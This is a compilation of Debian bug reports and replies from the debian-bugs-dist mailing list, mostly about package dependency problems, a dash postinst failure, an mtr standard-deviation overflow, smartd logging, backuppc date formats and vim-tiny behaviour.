  APT policy: (500, 'testing')
Architecture: i386 (x86_64)

Kernel: Linux 3.2.0-4-amd64 (SMP w/2 CPU cores)
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash


-- 
To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org

Bug#698757: iscsitarget: Recommended package iscsitarget-module does not exist

[Rogier]

Hi Ritesh Raj,

Thanks for your reply.

> > Iscsitarget recommends iscsitarget-module, however that package
> > does not exist, and it is even completely unknown to debian
> > (it cannot be found on packages.debian.org).
> 
> which version are you on? I don't see the iscsitarget-module
> package as Recommends in the latest version.

I checked on testing, but sid has the same version.
See also http://packages.debian.org/sid/iscsitarget
It shows:
rec: iscsitarget-module
Package not available

Regards,

Rogier.


-- 
To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org

Bug#698757: iscsitarget: Recommended package iscsitarget-module does not exist

[Rogier]

Package: iscsitarget
Severity: normal

Dear Maintainer,

Iscsitarget recommends iscsitarget-module, however that package
does not exist, and it is even completely unknown to debian
(it cannot be found on packages.debian.org).

As iscsitarget requires a kernel module, and is quite useless without
one, I suppose it should also declare iscsitarget-module or
iscsitarget-dkms, or any other suitable package that contains, or can be
used to build the module, as a dependency instead of a recommendation
or even a suggestion ?

Kind regards,

Rogier.

-- System Information:
Debian Release: wheezy/sid
  APT prefers testing
  APT policy: (500, 'testing')
Architecture: i386 (x86_64)

Kernel: Linux 3.2.0-4-amd64 (SMP w/2 CPU cores)
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash


-- 
To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org

Bug#698753: targetcli: Installing targetcli with recommendations brings in 1GB of extra software

[Rogier]

Package: targetcli
Severity: normal

Dear Maintainer,

I am setting op a NAS including an iscsi target. In the process I wanted
to install targetcli. I was very much surprised though, to find that
it apparently directly or indirectly recommends more than 1GB of other
software. Among the packages and package collections targetcli (indirectly)
recommends are:

perl, python, ruby, tcl/tk, part of X11, texlive, ghostscript

I assume you'll agree that this is excessive. As targetcli is a
command-line utility that could be used on a headless server, I
think it can be expected to be installable, including its recommended
packages, without pulling in packages like texlive or X11, or four
different scripting languages.

The cause seems to be python-epydoc, which is the source of most of
the recommendation tree.

Kind regards,

Rogier.


Log of apt-get install targetcli:

nass0:root ~ 11 # apt-get install targetcli
Reading package lists... Done
Building dependency tree   
Reading state information... Done
The following extra packages will be installed:
  blt cpp cpp-4.7 dbus docutils-common docutils-doc fontconfig
  fontconfig-config fonts-droid fonts-liberation ghostscript graphviz
  gsfonts latex-beamer latex-xcolor libavahi-client3 libavahi-common-data
  libavahi-common3 libcairo2 libcdt4 libcgraph5 libcups2
  libcupsimage2 libdatrie1 libdbus-1-3 libdrm-intel1 libdrm-nouveau1a
  libdrm-radeon1 libdrm2 libencode-locale-perl libfile-basedir-perl
  libfile-desktopentry-perl libfile-listing-perl libfile-mimeinfo-perl
  libfont-afm-perl libfontconfig1 libfontenc1 libgd2-noxpm libgl1-mesa-dri
  libgl1-mesa-glx libglapi-mesa libgmp10 libgraph4 libgraphite3 libgs9
  libgs9-common libgvc5 libgvpr1 libhtml-form-perl libhtml-format-perl
  libhtml-tree-perl libhttp-cookies-perl libhttp-daemon-perl
  libhttp-date-perl libhttp-message-perl libhttp-negotiate-perl
  libice6 libijs-0.35 libio-socket-ip-perl libio-socket-ssl-perl
  libjasper1 libjbig0 libjbig2dec0 libjpeg8 libkpathsea6 liblcms1
  liblcms2-2 liblwp-mediatypes-perl liblwp-protocol-https-perl
  libmailtools-perl libmpc2 libmpfr4 libnet-dbus-perl libnet-http-perl
  libnet-ssleay-perl libopenjpeg2 libpango1.0-0 libpaper-utils libpaper1
  libpathplan4 libpciaccess0 libpixman-1-0 libpoppler19 libptexenc1
  libruby1.9.1 libsm6 libsocket-perl libsystemd-login0 libthai-data
  libthai0 libtie-ixhash-perl libtiff4 libutempter0 libwww-perl
  libwww-robotrules-perl libx11-6 libx11-data libx11-protocol-perl
  libx11-xcb1 libxau6 libxaw7 libxcb-glx0 libxcb-render0 libxcb-shape0
  libxcb-shm0 libxcb1 libxcomposite1 libxcursor1 libxdamage1 libxdmcp6
  libxdot4 libxext6 libxfixes3 libxfont1 libxft2 libxi6 libxinerama1
  libxml-parser-perl libxml-twig-perl libxml-xpathengine-perl libxmu6
  libxmuu1 libxpm4 libxrandr2 libxrender1 libxslt1.1 libxss1 libxt6
  libxtst6 libxv1 libxxf86dga1 libxxf86vm1 libyaml-0-2 lio-utils
  lmodern luatex pgf poppler-data preview-latex-style prosper ps2eps
  python-configobj python-configshell python-docutils python-epydoc
  python-imaging python-ipaddr python-lxml python-netifaces
  python-pkg-resources python-pygments python-roman python-rtslib
  python-simpleparse python-simpleparse-mxtexttools python-tk python-urwid
  ruby ruby1.9.1 tcl8.5 tex-common tex-gyre texlive-base texlive-binaries
  texlive-common texlive-doc-base texlive-extra-utils texlive-font-utils
  texlive-fonts-recommended texlive-fonts-recommended-doc
  texlive-generic-recommended texlive-latex-base texlive-latex-base-doc
  texlive-latex-extra texlive-latex-extra-doc texlive-latex-recommended
  texlive-latex-recommended-doc texlive-luatex texlive-pictures
  texlive-pictures-doc texlive-pstricks texlive-pstricks-doc tipa tk8.5
  ttf-dejavu-core ttf-liberation ttf-marvosym x11-common x11-utils
  x11-xserver-utils xbitmaps xdg-utils xfonts-encodings xfonts-utils xterm
Suggested packages:
  blt-demo cpp-doc gcc-4.7-locales dbus-x11 ghostscript-cups
  ghostscript-x hpijs graphviz-doc cups-common libgd-tools libglide3
  libjasper-runtime liblcms-utils liblcms2-utils libcrypt-ssleay-perl
  ttf-baekmuk ttf-arphic-gbsn00lp ttf-arphic-bsmi00lp
  ttf-arphic-gkai00mp ttf-arphic-bkai00mp libauthen-ntlm-perl
  libunicode-map8-perl libunicode-string-perl xml-twig-tools
  poppler-utils fonts-japanese-mincho fonts-ipafont-mincho
  fonts-japanese-gothic fonts-ipafont-gothic fonts-arphic-ukai
  fonts-arphic-uming fonts-unfonts-core pdf-viewer postscript-viewer
  texlive-lang-french fonts-linuxlibertine ttf-linux-libertine epydoc-doc
  python-imaging-doc python-imaging-dbg python-lxml-dbg python-distribute
  python-distribute-doc ttf-bitstream-vera python-simpleparse-doc tix
  python-tk-dbg ri ruby-dev ruby1.9.1-examples ri1.9.1 ruby1.9.1-dev
  ruby-switch tcl-tclreadline debhelper perl-tk purifyeps chktex latexmk
  dvipng xindy dvidvi fragmaster lacheck latexdiff psutils t1utils
  libfile-which-perl dot2tex mesa-utils n

Bug#698630: bridge-utils: dependency problem with net-tools

[Rogier]

Package: bridge-utils
Version: 1.5-6
Severity: important

Dear Maintainer,

After installing bridge-utils, and configuring two bridges
in /etc/network/interfaces, the network interfaces did
not come up after a reboot. The bridges existed, but the
physical devices were still in 'down' state. The problem
turned out to be that net-tools was not installed because
it is just a suggested dependency instead of a recommended
dependency.

Personally, I think configuring one or more bridges in
/etc/network/interfaces would be a common use-case, especially
since /etc/network/interfaces is the standard method of configuring
network interfaces, therefore net-tools should be a recommended
dependency, instead of a suggested dependency. Ifupdown could
still be a suggested dependency, as it will have been installed
via another dependency chain if the user wants/needs it.

Regardless of whether net-tools should be a recommendation or a
suggestion, the current situation may cause problems during upgrades:
the recent demotion of net-tools from a 'depends' to a 'suggests'
may cause net-tools to be removed from a system (as it is no longer
required or recommended) during an upgrade (e.g. this can happen
when upgrading from squeeze to wheezy !).
If a system sets up its bridges in /etc/network/interfaces, this
will result in a non-functional network after that system is rebooted
the next time.

Kind regards, and thanks for your work on debian !

Rogier.


-- System Information:
Debian Release: wheezy/sid
  APT prefers testing
  APT policy: (500, 'testing')
Architecture: i386 (x86_64)

Kernel: Linux 3.2.0-4-amd64 (SMP w/2 CPU cores)
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash

Versions of packages bridge-utils depends on:
ii  libc6  2.13-37

bridge-utils recommends no packages.

Versions of packages bridge-utils suggests:
ii  ifupdown   0.7.5
ii  net-tools  1.60-24.2

-- no debconf information


-- 
To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org

Bug#698622: gdisk should (probably) not depend on groff-base

[Rogier]

Package: gdisk
Version: 0.8.5-1
Severity: minor

Dear Maintainer,

gdisk currently depends on groff-base. I suspect this is only so that
the manpages can be read. I have 'tested' this by deleting all groff
files, and gdisk seems to run fine, although I must admit that my
tests were not even nearly exhaustive.

If indeed groff-base is only needed for the manpages, and the
functionality of gdisk itself is not affected when is not installed,
then please make groff-base at most a recommendation, so that
groff-base does not need to be installed on small systems.

As a note: I checked the reverse dependencies of groff-base, and
almost no other package, not even *-doc packages, have any form
of dependency on it. Not even a suggests. (in fact, while 'countless'
packages include manual pages,  there are just two packages with
a dependency on groff-base that probably need groff-base as a
documentation viewer only, and both have just a suggests-
dependency on it).

Kind regards,

Rogier.


-- System Information:
Debian Release: wheezy/sid
  APT prefers testing
  APT policy: (500, 'testing')
Architecture: i386 (x86_64)

Kernel: Linux 3.2.0-4-amd64 (SMP w/2 CPU cores)
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash

Versions of packages gdisk depends on:
ii  groff-base   1.21-9
ii  libc62.13-37
ii  libgcc1  1:4.7.2-4
ii  libicu48 4.8.1.1-10
ii  libncurses5  5.9-10
ii  libpopt0 1.16-7
ii  libstdc++6   4.7.2-4
ii  libtinfo55.9-10
ii  libuuid1 2.20.1-5.2

gdisk recommends no packages.

gdisk suggests no packages.

-- no debconf information


-- 
To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org

Bug#697278: aptitude-common: Please make aptitude installable on non-native architectures

[Rogier]

Package: aptitude-common
Version: 0.6.8.2-1
Severity: normal

Dear Maintainer,

When trying to install aptitude on a non-native architecture, installation
fails because not suitable installation candidates are found for some
dependencies, in particular for aptitude-common:

arm:root / 17 # uname -m
armv7l
arm:root / 18 # apt-get --simulate install aptitude:i386
Reading package lists... Done
Building dependency tree... Done
Some packages could not be installed. This may mean that you have
requested an impossible situation or if you are using the unstable
distribution that some required packages have not yet been created
or been moved out of Incoming.
The following information may help to resolve the situation:

The following packages have unmet dependencies:
 aptitude:i386 : Depends: aptitude-common:i386 (= 0.6.8.2-1) but it is 
not installable
 Recommends: aptitude-doc-en:i386 but it is not 
installable or
 aptitude-doc:i386 but it is not installable
 Recommends: apt-xapian-index:i386 but it is not 
installable
 Recommends: libparse-debianchangelog-perl:i386 but it 
is not installable
E: Unable to correct problems, you have held broken packages.

I assume a simple 'Multi-Arch: foreign' would fix this ?

Kind regards, and many thanks for your work on debian in general, and on 
aptitude in particular.

Rogier.


-- System Information:
Debian Release: wheezy/sid
  APT prefers testing
  APT policy: (500, 'testing')
Architecture: i386 (x86_64)

Kernel: Linux 3.2.0-4-amd64 (SMP w/2 CPU cores)
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash

aptitude-common depends on no packages.

Versions of packages aptitude-common recommends:
ii  aptitude  0.6.8.2-1

aptitude-common suggests no packages.

-- no debconf information


-- 
To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org

Bug#696315: dash: postinst fails on fresh minimal system

[Rogier]

Package: dash
Version: 0.5.7-3
Severity: normal

Dear Maintainer,

I am installing a fresh minimal system using multistrap. During the
configure phase, setting up dash fails with the following messages:
Setting up dash (0.5.7-3) ...
No diversion 'diversion of /bin/sh by dash', none removed.
This should never be reached
The configure phase then fails.

My impression is, that the problem is caused by the fact that no diversion
exists yet for /bin/sh. This causes 'diverter' in 'check_divert' to be
empty, which then causes the failure.

The system I am installing is an armel system, with debian distribution
testing. After multistrap has unpacked everything, I copy qemu-arm-static
to the new directory tree, I mount /proc, /sys and /dev, and I run the
following command to configure:
DEBIAN_FRONTEND=noninteractive \
DEBCONF_NONINTERACTIVE_SEEN=true \
LC_ALL=C \
LANGUAGE=C \
LANG=C \
chroot "$root" dpkg --configure -a

I have added a 'set -x' to the postinst script. The output is attached.

Kind regards

Rogier.

Output of 'dpkg --configure -a', with 'set -x' added to
dash postinst script:
--
Setting up dash (0.5.7-3) ...
+ debconf=
+ [ -f /usr/share/debconf/confmodule ]
+ . /usr/share/debconf/confmodule
+ [ !  ]
+ PERL_DL_NONLAZY=1
+ export PERL_DL_NONLAZY
+ [  ]
+ exec /usr/share/debconf/frontend /var/lib/dpkg/info/dash.postinst configure 
+ debconf=
+ [ -f /usr/share/debconf/confmodule ]
+ . /usr/share/debconf/confmodule
+ [ ! 1 ]
+ [ -z  ]
+ exec
+ [  ]
+ exec
+ DEBCONF_REDIR=1
+ export DEBCONF_REDIR
+ debconf=yes
+ [ configure = configure ]
+ [ -z  ]
+ check_divert ash /bin/sh dash  ash
+ dfile=/bin/sh
+ ltarget=dash
+ distrib=/bin/sh.distrib
+ dpkg-divert --listpackage /bin/sh
+ diverter=
+ dpkg-divert --truename /bin/sh
+ truename=/bin/sh
+ dpkg-divert --list /bin/sh
+ div=
+ check_divert ash /usr/share/man/man1/sh.1.gz dash.1.gz 
/usr/share/man/man1/sh.distrib.1.gz ash.1.gz
+ dfile=/usr/share/man/man1/sh.1.gz
+ ltarget=dash.1.gz
+ distrib=/usr/share/man/man1/sh.distrib.1.gz
+ dpkg-divert --listpackage /usr/share/man/man1/sh.1.gz
+ diverter=
+ dpkg-divert --truename /usr/share/man/man1/sh.1.gz
+ truename=/usr/share/man/man1/sh.1.gz
+ dpkg-divert --list /usr/share/man/man1/sh.1.gz
+ div=
+ add_shell
+ type add-shell
+ add-shell /bin/dash
+ [ yes ]
+ db_get dash/sh
+ _db_cmd GET dash/sh
+ _db_internal_IFS= 

+ IFS= 
+ printf %s\n GET dash/sh
+ IFS=  

+ IFS=
 read -r _db_internal_line
+ RET=true
+ return 0
+ check_divert true /bin/sh dash
+ dfile=/bin/sh
+ ltarget=dash
+ distrib=/bin/sh.distrib
+ dpkg-divert --listpackage /bin/sh
+ diverter=
+ dpkg-divert --truename /bin/sh
+ truename=/bin/sh
+ [  != dash ]
+ [  = bash ]
+ dpkg-divert --package dash --remove /bin/sh
No diversion 'diversion of /bin/sh by dash', none removed.
+ echo This should never be reached
This should never be reached
+ exit 1
dpkg: error processing dash (--configure):
 subprocess installed post-installation script returned error exit status 1
dpkg: dependency problems prevent configuration of bash:
 bash depends on dash (>= 0.5.5.1-2.2); however:
  Package dash is not configured yet.

dpkg: error processing bash (--configure):
 dependency problems - leaving unconfigured
Errors were encountered while processing:
 dash
 bash
--


-- 
To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org

Bug#696060: mtr: StDev overflowed to negative

[Rogier Wolff]

Hi, 

The variance, which is used to calculate the stdev, is stored in a
64-bit integer.

However, what we store there are the squares of the difference from
the average. So if you have 70 second ping time (sometimes), the
square of 7 miliseconds becomes 4900 million! Quite a lot, but
unlikely to overflow a 64-bit value However the calculation is
done in microseconds Thus your 70 seconds is 70 million
microseocnds, giving 4900 trillion (4.9 * 10^15) added to the running
total every second or so, (as long as the average remains around
zero). This can overflow a 64-bit variable in human-observable time.

I've modified the code to do the calculations in miliseconds from now
on. This should buy us a factor of a million of margin. :-)

Roger. 



On Sun, Dec 16, 2012 at 08:30:28AM -0500, The Wanderer wrote:
> Package: mtr
> Version: 0.82-3
> Severity: minor
> 
> Dear Maintainer,
> 
> As part of an effort to diagnose - and later to confirm the fix of - an
> ongoing network problem, I have maintained an mtr session running for
> several weeks straight.
> 
> The current overall summary for one hop in that session presently reads
> as follows:
> 
>   HostnameLoss  Rcv  Snt  Last   Best  Avg  Worst  StDev
>   73.223.7.1  0.3%  4028069  4039341   687 12   60593  -2147483.75
> 
> The standard deviation value is negative, which is meaningless AFAIK,
> and therefore should not be possible. The specific negative value in
> question looks at a glance like the result of an overflow.
> 
> I am not clear on exactly what it would take to reproduce this problem.
> Presumably, unreasonably high worst-case ping times in what is otherwise
> a normal network environment would be at least a contributing factor.
> However, I am relatively certain that I recall past sessions where this
> hop has shown a Worst value of over 7 milliseconds, but the StDev
> value has remained positive; as such, I am not sure whether that would
> be sufficient.
> 
> This bug is of course extremely minor, as even if it does occur
> reproducibly, the circumstances for it are rare and it is unlikely to
> have more than a cosmetic effect even when it does occur. However, as it
> is still a bug, I felt it worth reporting anyway.
> 
> If there is anything I can do to help to track this down, please don't
> hesitate to let me know.
> 
> 
> -- System Information:
> Debian Release: wheezy/sid
>   APT prefers stable-updates
>   APT policy: (500, 'stable-updates'), (500, 'testing'), (500, 'stable')
> Architecture: amd64 (x86_64)
> Foreign Architectures: i386
> 
> Kernel: Linux 3.2.0-3-amd64 (SMP w/12 CPU cores)
> Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8)
> Shell: /bin/sh linked to /bin/dash
> 
> Versions of packages mtr depends on:
> ii  libatk1.0-0 2.4.0-2
> ii  libc6   2.13-35
> ii  libcairo2   1.12.2-2
> ii  libfontconfig1  2.9.0-7
> ii  libfreetype62.4.9-1
> ii  libgdk-pixbuf2.0-0  2.26.1-1
> ii  libglib2.0-02.33.12+really2.32.4-3
> ii  libgtk2.0-0 2.24.10-2
> ii  libncurses5 5.9-10
> ii  libpango1.0-0   1.30.0-1
> ii  libtinfo5   5.9-10
> 
> mtr recommends no packages.
> 
> mtr suggests no packages.
> 
> -- no debconf information
> 

-- 
** r.e.wo...@bitwizard.nl ** http://www.BitWizard.nl/ ** +31-15-2600998 **
**Delftechpark 26 2628 XH  Delft, The Netherlands. KVK: 27239233**
*-- BitWizard writes Linux device drivers for any device you may have! --*
The plan was simple, like my brother-in-law Phil. But unlike
Phil, this plan just might work.


-- 
To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org

Bug#674663: smartd keeps logging old values to attrlog.*.csv

[Rogier]

Package: smartmontools
Version: 5.41+svn3365-1
Severity: normal

Dear Maintainer,

Smartd keeps writing the same (old) values to the attrlog.*.csv file on
my system.  All entries in the csv files on my system (8 months worth
for my previous harddisk, and 2.5 months for my current harddisk) are
identical, except for the timestamp.

I downloaded the newer version of smartmontools (5.42). After building with
the following commands:
./configure \
--enable-savestates \
--enable-attributelog \
--with-savestates=/tmp/smart/smartd. \
--with-attributelog=/tmp/smart/attrlog.
make
And copying the latest log files from /var/lib/smartmontools, I ran smartd,
and it appends the *current* SMART values to the csv file.

For comparison, I also downloaded the debian package, unpacked the .orig
tarball, and compiled that with the same commands as above.  The resulting
binary also appends the *current* SMART values to the .csv file...

As a final test, (after modifying the log directory in debian/rules), I
built the package using dpkg-buildpackage -b, and I tested the resulting
smartd executable. Just like the installed package. It appended stale
SMART data to the csv file.

Kind regards,

Rogier


Please note that /usr/share/bug/smartmontools failed when I was creating this 
bugreport:
Please select tags: (one at a time) [none] 
Gathering additional data, this may take a while...
The package bug script /usr/share/bug/smartmontools exited with an error 
status (return code = 
256). Do you still want to file a report? [y|N|q|?]? y
Spawning sensible-editor...

-- Package-specific info:
Output of /usr/share/bug/smartmontools:

-- System Information:
Debian Release: wheezy/sid
  APT prefers testing
  APT policy: (500, 'testing')
Architecture: i386 (x86_64)

Kernel: Linux 3.2.0-2-amd64 (SMP w/2 CPU cores)
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash

Versions of packages smartmontools depends on:
ii  debianutils  4.2.1
ii  libc62.13-27
ii  libcap-ng0   0.6.6-1
ii  libgcc1  1:4.6.3-1
ii  libselinux1  2.1.9-2
ii  libstdc++6   4.6.3-1
ii  lsb-base 3.2+Debian31

Versions of packages smartmontools recommends:
ii  heirloom-mailx [mailx]  12.5-1

Versions of packages smartmontools suggests:
ii  gsmartcontrol   0.8.6-1
ii  smart-notifier  0.28-5

-- Configuration Files:
/etc/default/smartmontools changed:
start_smartd=yes

/etc/smartd.conf changed:
DEVICESCAN -r 194 -r 231 -I 9 -W 5


-- no debconf information



-- 
To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org

Bug#663975: backuppc: Default date format is confusing outside US

[Rogier]

Hi,

Thanks for your reply.

I did some additional investigation, and for a start, I think I may 
have created some confusion. I meant to say:

Please change the default to be:
  $Conf{CgiDateFormatMMDD} = '2';

Where in my initial mail, I typed the value '0'
-MM-DD HH:MM (selected by '2') is (AFAIK) not ambiguous, whereas 
MM/DD or DD/MM, (selected by '0' and '1') obviously are. Using the 
value '2' by default for all installations avoids the question whether 
'0' or '1' is to be preferred given the locale. It also avoids the 
question whether the user of the web interface uses the same locale as 
is configured on the server. The system administrator may then still 
choose to change the value from the default to '0' or '1'.

I could suggest three other alternatives, but I personally think they 
are inferior:
- Patch backuppc to use POSIX::strftime, with format specifiers '%c' or 
'%x %X'. If I'm not mistaken though, this will still cause the 
server's locale to be used, instead of the web interface user's 
locale...
- When backuppc is installed, ask which format is preferred
- When backuppc is installed, convert a known date using '%x', and 
parse it to find out whether MM/DD or DD/MM is to be preferred. 
Obviously, this still selects the server's locale. In addition, it 
ignores any subsequent changes to the locale...

Kind regards,

Rogier.


On 2012-05-08 10:55, ldro...@debian.org wrote:
> Hi!
> 
> I'd like to close this bug, but is there a way to detect the
> prefered system date format ? 'locale' does not help...
> 
> BR,
> 
>Ludo
> 
> > Package: backuppc
> > Version: 3.2.1-2
> > Severity: normal
> > 
> > Dear Maintainer,
> > 
> > In the web interface, by default, backuppc uses US-style date
> > formats of the form mm/dd, e.g: 3/14. This is confusing to
> > non-US users. In the case of dates like 3/12, the format is even
> > ambiguous.
> > 
> > Please change the default to be:
> > $Conf{CgiDateFormatMMDD} = '0';
> > 
> > This has the added benefit of adding the year in the start date
> > colum of the hosts summary. Without the year, for older backups,
> > the creation year remains a guess at best.
> > 
> > Regards,
> > 
> > Rogier.
> > 
> > 
> > -- System Information:
> > Debian Release: wheezy/sid
> > 
> >   APT prefers testing
> >   APT policy: (500, 'testing')
> > 
> > Architecture: i386 (x86_64)
> > 
> > Kernel: Linux 3.2.0-1-amd64 (SMP w/2 CPU cores)
> > Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8)
> > Shell: /bin/sh linked to /bin/dash
> > 
> > Versions of packages backuppc depends on:
> > ii  adduser3.113+nmu1
> > ii  bzip2  1.0.6-1
> > ii  debconf [debconf-2.0]  1.5.41
> > ii  dpkg   1.16.1.2
> > ii  exim4  4.77-1
> > ii  exim4-daemon-light [mail-transport-agent]  4.77-1+b1
> > ii  iputils-ping   3:20101006-1+b1
> > ii  libarchive-zip-perl1.30-5
> > ii  libc6  2.13-26
> > ii  libcompress-zlib-perl  
> > ii  libtime-modules-perl   2011.0517-1
> > ii  libwww-perl6.04-1
> > ii  mini-httpd [httpd] 1.19-9.2+b1
> > ii  perl [libdigest-md5-perl]  5.14.2-7
> > ii  samba-common-bin   2:3.6.3-1
> > ii  smbclient  2:3.6.3-1
> > ii  tar1.26-4
> > ii  ucf3.0025+nmu2
> > 
> > Versions of packages backuppc recommends:
> > ii  libfile-rsyncp-perl  0.68-1.1+b3
> > ii  libio-dirent-perl0.04-2+b3
> > ii  openssh-client [ssh-client]  1:5.9p1-2
> > ii  rrdtool  1.4.7-1
> > ii  rsync3.0.9-1
> > 
> > Versions of packages backuppc suggests:
> > ii  elinks [www-browser] 0.12~pre5-7
> > ii  iceweasel [www-browser]  10.0.2-1
> > ii  konqueror [www-browser]  4:4.6.5-1
> > ii  par2 0.4-11
> > ii  w3m [www-browser]0.5.3-5
> > 
> > -- Configuration Files:
> > /etc/backuppc/config.pl [Errno 13] Permission denied:
> > u'/etc/backuppc/config.pl'
> > /etc/backuppc/hosts changed [not included]
> > 
> > -- debconf information excluded



-- 
To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org

Bug#671677: vim-tiny: 'filereadable()' in /etc/vim/vimrc does not work

[Rogier]

Hi,

For some reason, vim.tiny was registered as an alternative to vim on 
my machine. It must have been a leftover from a previous version of 
vim-tiny - my machine was originally installed with lenny, and has 
been running testing since.

I have removed the alternative.

Thanks very much for your replies.

Regards,

Rogier.

On 2012-05-06 15:02, James McCoy  wrote:
> On Sun, May 06, 2012 at 10:36:14AM +0200, Rogier wrote:
> > When invoked as 'vim', it does read /etc/vim/vimrc. I verified
> > this by adding an invalid command, which causes a complaint.
> > Also, when removing the 'filereadable()' from /etc/vim/vimrc,
> > /etc/vim/vimrc.local
> 
> > is read:
> Which doesn't happen the way vim-tiny is packaged because it only
> provides /usr/bin/vi, not /usr/bin/vim.  That isn't an oversight,
> it's intentional.
> 
> Cheers,



-- 
To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org

Bug#671677: vim-tiny: 'filereadable()' in /etc/vim/vimrc does not work

[Rogier]

Package: vim-tiny
Version: 2:7.3.429-2
File: /usr/bin/vim.tiny
Severity: normal

Dear Maintainer,

The function filereadable(), which is used in /etc/vim/vimrc, does not
seem to work. After I changed /etc/vim/vimrc.local, the modified settings
did not take effect, which seems to be caused by the call to filereadable()
in /etc/vim/vimrc failing.

I also ran the following tests:

prompt $ echo blabla > /tmp/vimrc
prompt $ vim -u /tmp/vimrc -U NONE -N
Error detected while processing /tmp/vimrc:
line1:
E492: Not an editor command: blabla
Press ENTER or type command to continue
('ENTER' starts the editor session)

However, after a test using 'filereadable()', the invalid command is skipped:

prompt $ echo -e 'if filereadable("/tmp/vimrc")\nblabla\nendif' > /tmp/vimrc
prompt $ vim -u /tmp/vimrc -U NONE -N
(editor session starts without complaint)

If this is intended behavior (e.g. filereadable() was disabled to
keep vim-tiny small), please add a comment to /etc/vim/vimrc, to explain
this behavior.

Kind regards,

Rogier.


-- Package-specific info:

--- real paths of main Vim binaries ---
/usr/bin/vi is /usr/bin/vim.tiny
/usr/bin/vim is /usr/bin/vim.tiny

-- System Information:
Debian Release: wheezy/sid
  APT prefers testing
  APT policy: (500, 'testing')
Architecture: i386 (x86_64)

Kernel: Linux 3.2.0-2-amd64 (SMP w/2 CPU cores)
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash

Versions of packages vim-tiny depends on:
ii  libc62.13-27
ii  libselinux1  2.1.9-2
ii  libtinfo55.9-4
ii  vim-common   2:7.3.429-2

vim-tiny recommends no packages.

Versions of packages vim-tiny suggests:
ii  indent  2.2.11-1

-- no debconf information



-- 
To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org

Bug#663975: backuppc: Default date format is confusing outside US

[Rogier]

Package: backuppc
Version: 3.2.1-2
Severity: normal

Dear Maintainer,

In the web interface, by default, backuppc uses US-style date formats 
of the form mm/dd, e.g: 3/14. This is confusing to non-US users. In 
the case of dates like 3/12, the format is even ambiguous.

Please change the default to be:
$Conf{CgiDateFormatMMDD} = '0';
This has the added benefit of adding the year in the start date colum 
of the hosts summary. Without the year, for older backups, the 
creation year remains a guess at best.

Regards,

Rogier.


-- System Information:
Debian Release: wheezy/sid
  APT prefers testing
  APT policy: (500, 'testing')
Architecture: i386 (x86_64)

Kernel: Linux 3.2.0-1-amd64 (SMP w/2 CPU cores)
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash

Versions of packages backuppc depends on:
ii  adduser3.113+nmu1
ii  bzip2  1.0.6-1
ii  debconf [debconf-2.0]  1.5.41
ii  dpkg   1.16.1.2
ii  exim4  4.77-1
ii  exim4-daemon-light [mail-transport-agent]  4.77-1+b1
ii  iputils-ping   3:20101006-1+b1
ii  libarchive-zip-perl1.30-5
ii  libc6  2.13-26
ii  libcompress-zlib-perl  
ii  libtime-modules-perl   2011.0517-1
ii  libwww-perl6.04-1
ii  mini-httpd [httpd] 1.19-9.2+b1
ii  perl [libdigest-md5-perl]  5.14.2-7
ii  samba-common-bin   2:3.6.3-1
ii  smbclient  2:3.6.3-1
ii  tar1.26-4
ii  ucf3.0025+nmu2

Versions of packages backuppc recommends:
ii  libfile-rsyncp-perl  0.68-1.1+b3
ii  libio-dirent-perl0.04-2+b3
ii  openssh-client [ssh-client]  1:5.9p1-2
ii  rrdtool  1.4.7-1
ii  rsync3.0.9-1

Versions of packages backuppc suggests:
ii  elinks [www-browser] 0.12~pre5-7
ii  iceweasel [www-browser]  10.0.2-1
ii  konqueror [www-browser]  4:4.6.5-1
ii  par2 0.4-11
ii  w3m [www-browser]0.5.3-5

-- Configuration Files:
/etc/backuppc/config.pl [Errno 13] Permission denied: 
u'/etc/backuppc/config.pl'
/etc/backuppc/hosts changed [not included]

-- debconf information excluded



-- 
